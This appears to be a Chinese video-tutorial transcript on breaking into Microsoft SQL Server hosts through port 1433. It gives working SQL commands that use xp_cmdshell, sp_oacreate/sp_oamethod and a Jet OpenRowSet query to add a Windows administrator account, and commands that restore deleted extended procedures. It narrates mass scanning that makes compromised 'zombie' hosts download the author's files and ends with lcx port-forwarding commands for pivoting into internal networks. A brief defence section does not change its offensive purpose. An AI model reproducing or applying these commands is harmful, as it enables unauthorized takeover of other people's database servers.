原文地址:http://www.hackmvp.com/donghua/sort0114/16287.html
第一部分:猜解口令和入侵
大家都知道1433是mssql数据库的默认端口,也都知道sa是mssql数据库的默认的管理员帐号,这个端口的入侵以前讲过许多,网上也有很多这方面的资料,下面我就根据我个人在【新世纪网安】的学习来总结一下
首先,要想通过1433端口进入载有mssql数据库的主机并取得权限,我们必须要知道它的弱口令。据我所知,国内很多数据库管理员的安全意识是很差的,一个只有几行的弱口令字典不到1秒钟就能猜解出sa口令。
其次,知道了口令之后,我们要取得管理权限,那么说到提权,目前最常用到的就是扩展存储过程xp_cmdshell和sp_oacreate,sp_oamethod以及xp_regwrite等。其中前两种最为大家所熟悉。下面的表1就简单说明了这两种存储的利用方法。
表1、
1.1 在查询分析器里利用 xp_cmdshell 添加windows管理帐号
e.g: exec master..xp_cmdshell 'net user 123 /add'
exec master..xp_cmdshell 'net localgroup administrators 123 /add'
添加完成后,可以为对方开3389终端服务,这样我们就能用刚才建立的帐号进行登录了,就像操作我们自己的电脑一样来操作对方的电脑。怎么样,是不是很容易?
1.2 在 查询分析器里利用 sp_oacreate,sp_oamethod 添加windows管理帐号
e.g:
declare @o int;
exec sp_oacreate 'wscript.shell',@o out;
exec sp_oamethod @o,'run',NULL,'cmd.exe /c net user 123 /add';--
按<F5>执行,然后
declare @o int;
exec sp_oacreate 'wscript.shell',@o out;
exec sp_oamethod @o,'run',NULL,'cmd.exe /c net localgroup administrators 123 /add';--
同样的,我们就添加了一个系统管理员级别的用户了。
当然我们还可以用沙盒模式进行帐号的添加,这里我操作一下
Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user 123 /add")');
检查一下结果,看到了,我们添加上了。
但是,随着管理员安全意识和技术水平的提高,以上我们的操作往往会失败,原来,是管理员出于安全考虑,删掉了xp_cmdshell,sp_oacreate,sp_oamethod等存储过程。遇到这种情况,我们就只能对这些存储过程先进行恢复了。下面的表2,简单几句话,就能恢复大多数粗心管理所删掉的扩展存储了。
表2、恢复xpshell和oashell
drop procedure sp_addextendedproc
exec sp_dropextendedproc 'xp_cmdshell'(这里也可以写成 drop procedure xm_cmdshell)
drop procedure sp_oacreate
drop procedure sp_oamethod
dbcc addextendedproc ("sp_oacreate","odsole70.dll") 【尝试利用数据库自带的dbcc(一致性检查命令)来恢复】
dbcc addextendedproc ("sp_oamethod","odsole70.dll")
dbcc addextendedproc ("xp_cmdshell","xplog70.dll")
<试着在自己本机安装一个mssql数据库,删掉前面提到的扩展存储,再用上面的语句试着恢复,会发生什么?>
第二部分:批量猜解和注入
第一部分我们了解了原理,那么,可不可以将上面的原理实现在程序代码中呢,答案是可以的。下面我用一款全自动工具来进行扫描和注入,大家看一下是多么的容易。由于扫描的ip段比较大,我是提前开始扫的,快扫到ip段结束的时候暂停,然后开始做动画的,主要是为了节省时间。
好,我们继续。。。大家可以快进一下。这个段设置的比较大。
好了,我们不等了。做这个教程的目的不是教大家扫描抓鸡。呵呵。
绿色字体出现的时候,就是已经猜解出弱口令的
已经开始猜解口令和注入了,这里的serv-u存放着我们的文件,我们发送指令让对方主机来下载我们的文件。怎么样,是不是很轻松容易?这里绿色字体出现的时候,就是已经猜解出弱口令的。猜到之后即刻进行注入,所以显得很快。
看,就这么会儿的时间,就下载和上线了这么多。可想而知我们国内的管理员安全意识是多么的薄弱。
扫描的过程中做做广告,希望大家多来【新世纪网安】学习,一起提高我们的安全技术水平,技术无止境。
这个时间我们先看下第三部分,如何防御弱口令利用注入。
第三部分:防御:
针对以上所述,我们可以采取以下方法进行防御:
搜索xplog70.dll,xpweb70.dll,odsole70.dll,找到后 改名为 xplog70.dll.bck等。
这样以后需要用到的时候把后面的 .bck 去掉就可以了。
当然要想更安全,还需要把沙盒模式要用到的xp_regread,xp_regwrite等存储删掉才可以。如果确认你用不倒ias.mdb等Access数据库文件,也把他们改名或者删掉。这样就算你的sa用户是空口令,黑客也要费一翻脑筋了。“最彻底的要数给sa用户降权的做法了”。
sa用户降权的做法:
新建windows用户,隶属于users组或guests组,在服务中找到sqlserver服务器,停止它,设置其登录权限,默认为localsystem,改成你新增的用户,然后重新运行sqlserver即可将SA权限改成普通权限,防止LCX转发提权。
提权教程之lcx转发拿下内网服务器 :
提权思路:利用webshell执行lcx,实现端口发。
首先在自己机子的cmd下运行
lcx.exe -listen 51 3389
意思是监听51端口并转发到3389端口
然后在肉鸡上运行 lcx.exe -slave 你的IP 51 肉机IP 1433
意思是 把肉机的3389端口 转发到 自己的IP 51端口上
谢谢大家!